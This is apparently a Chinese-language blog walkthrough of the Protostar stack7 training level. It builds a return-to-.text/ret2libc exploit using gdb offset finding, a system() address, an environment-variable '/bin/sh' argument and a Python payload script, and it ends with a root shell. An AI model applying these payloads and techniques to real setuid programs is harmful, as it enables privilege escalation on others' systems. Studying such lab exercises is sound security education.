簡單ROP exploit入門之protostar stack7

About

Stack6 introduces return to .text to gain code execution.

The metasploit tool "msfelfscan" can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.

This level is at /opt/protostar/bin/stack7


http://exploit-exercises.com/protostar/stack7

Source code

 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6char *getpath()
 7{
 8  char buffer[64];
 9  unsigned int ret;
10
11  printf("input path please: "); fflush(stdout);
12
13  gets(buffer);
14
15  ret = __builtin_return_address(0);
16
17  if((ret & 0xb0000000) == 0xb0000000) {
18    printf("bzzzt (%p)\n", ret);
19    _exit(1);
20  }
21
22  printf("got path %s\n", buffer);
23  return strdup(buffer);
24}
25
26int main(int argc, char **argv)
27{
28  getpath();
29
30
31
32}


這個題目可以利用ROP 技術,由於使用了

17  if((ret & 0xb0000000) == 0xb0000000) {
18    printf("bzzzt (%p)\n", ret);
19    _exit(1);
20  }

過濾, 所以不能使用堆棧以及環境變量以及libc庫的地址來覆蓋返回地址。

使用gdb來進行調試,得到EBP 和buffer之間的偏移offset, 以及經常使用的gedget ret指令的地址。

user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048545 <main+0>:	push   %ebp
0x08048546 <main+1>:	mov    %esp,%ebp
0x08048548 <main+3>:	and    $0xfffffff0,%esp
0x0804854b <main+6>:	call   0x80484c4 <getpath>
0x08048550 <main+11>:	mov    %ebp,%esp
0x08048552 <main+13>:	pop    %ebp
0x08048553 <main+14>:	ret    
End of assembler dump.
在這裏要說一下爲什麼使用ret指令, 因爲如果使用ret指令的地址來覆蓋getpath的返回地址, 那麼getpath返回後會直接執行ret指令,也就是pop $eip, 如果這個時候esp指向的是shellcode或者是system等可執行函數的地址, 那麼接下來就會執行我們想要執行的函數。


下面通過gdb來得到得到EBP 和buffer之間的偏移offset

user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) b 17
Breakpoint 1 at 0x80484f5: file stack7/stack7.c, line 17.
(gdb) r
Starting program: /opt/protostar/bin/stack7 
input path please: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Breakpoint 1, getpath () at stack7/stack7.c:17
17	stack7/stack7.c: No such file or directory.
	in stack7/stack7.c
(gdb) i r
eax            0x8048550	134514000
ecx            0xbffff75c	-1073744036
edx            0xb7fd9334	-1208118476
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff740	0xbffff740
ebp            0xbffff7a8	0xbffff7a8
esi            0x0	0
edi            0x0	0
eip            0x80484f5	0x80484f5 <getpath+49>
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/32wx $esp
0xbffff740:	0xbffff75c	0x00000000	0xb7fe1b28	0x00000001
0xbffff750:	0x00000000	0x00000001	0xb7fff8f8	0x41414141
0xbffff760:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff770:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff780:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff790:	0xb7fd0041	0xb7fd7ff4	0x08048570	0x08048550
0xbffff7a0:	0xb7ec6365	0xb7ff1040	0xbffff7b8	0x08048550
0xbffff7b0:	0x08048570	0x00000000	0xbffff838	0xb7eadc76
(gdb) print $ebp - 0xbffff75c
$1 = (void *) 0x4c
(gdb) print /d $ebp - 0xbffff75c
$2 = 76
可以看到buffer的起始地址爲

0xbffff75c

EBP和buffer之間的offset 爲76

下面開始構造payload, 使用system函數,還是使用gdb來得到system函數的地址

user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) b main
Breakpoint 1 at 0x804854b: file stack7/stack7.c, line 28.
(gdb) r
Starting program: /opt/protostar/bin/stack7 

Breakpoint 1, main (argc=1, argv=0xbffff864) at stack7/stack7.c:28
28	stack7/stack7.c: No such file or directory.
	in stack7/stack7.c
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) 

得到system的地址爲0xb7ecffb0

我們將system將要執行的命令,也就是system函數的參數,放到環境變量中

export PWN_SHELL7=/bin/sh

通過使用《黑客之道, 漏洞發掘的藝術》一書中提供的程序來獲取該環境變量的地址

user@protostar:~$ cat getenvaddr.c 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}

使用gcc編譯成可執行文件後, 得到環境變量PWN_SHELL7在stack7運行時候的地址

./getenvaddr PWN_SHELL7 /opt/protostar/bin/stack7

 PWN_SHELL7 will be at 0xbfffff65


現在可以利用得到的信息來生成payload了


user@protostar:~$ cat pwn7.py 
#!/usr/bin/env python
offset = 76
nopsled = "\x90" * offset
ret = "\x53\x85\x04\x08"
system = "\xb0\xff\xec\xb7"
system_argv = "\x65\xff\xff\xbf"
print nopsled + "FAKE" + ret + system + "FAKE" + system_argv

將上面的python輸出的payload保存到一個文件中

python pwn7.py > payload7

可以使用xxd來查看生成的payload7的16進制信息

user@protostar:~$ xxd payload7
0000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000040: 9090 9090 9090 9090 9090 9090 4641 4b45  ............FAKE
0000050: 5385 0408 b0ff ecb7 4641 4b45 65ff ffbf  S.......FAKEe...
0000060: 0a       

xxd真是一個特別好的工具, 尤其是寫exploit的時候,可以使用xxd的-i選項, 將文件的十六進制保存成數組, 並且給出長度,當然很多別的工具基本也都有這個功能


user@protostar:~$ xxd -i payload7
unsigned char payload7[] = {
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x46, 0x41, 0x4b, 0x45, 0x53, 0x85, 0x04, 0x08,
  0xb0, 0xff, 0xec, 0xb7, 0x46, 0x41, 0x4b, 0x45, 0x65, 0xff, 0xff, 0xbf,
  0x0a
};
unsigned int payload7_len = 97;

好的, 現在可以使用下面的命令來獲取root權限了

user@protostar:~$ (cat payload7;cat) | /opt/protostar/bin/stack7
input path please: got path ����������������������������������������������������������������S���������FAKES�����FAKEe���
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root

爲什麼要這樣呢, 爲什麼運行下面的命令直接就coredump呢

user@protostar:~$ cat payload7 | /opt/protostar/bin/stack7
input path please: got path ����������������������������������������������������������������S���������FAKES�����FAKEe���
Segmentation fault


shell的重定向符號 < 或者是管道符號 | 都會默認添加一個EOF, 所以EOF 也會進入到堆棧中。

但是還是不太明白爲什麼EOF會導致coredump, 因爲經過gdb調試發現, 直接cat,最後的\a沒有進入到buffer中, 進入到buffer最後的是\x00,但是是在system參數地址的後面。



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章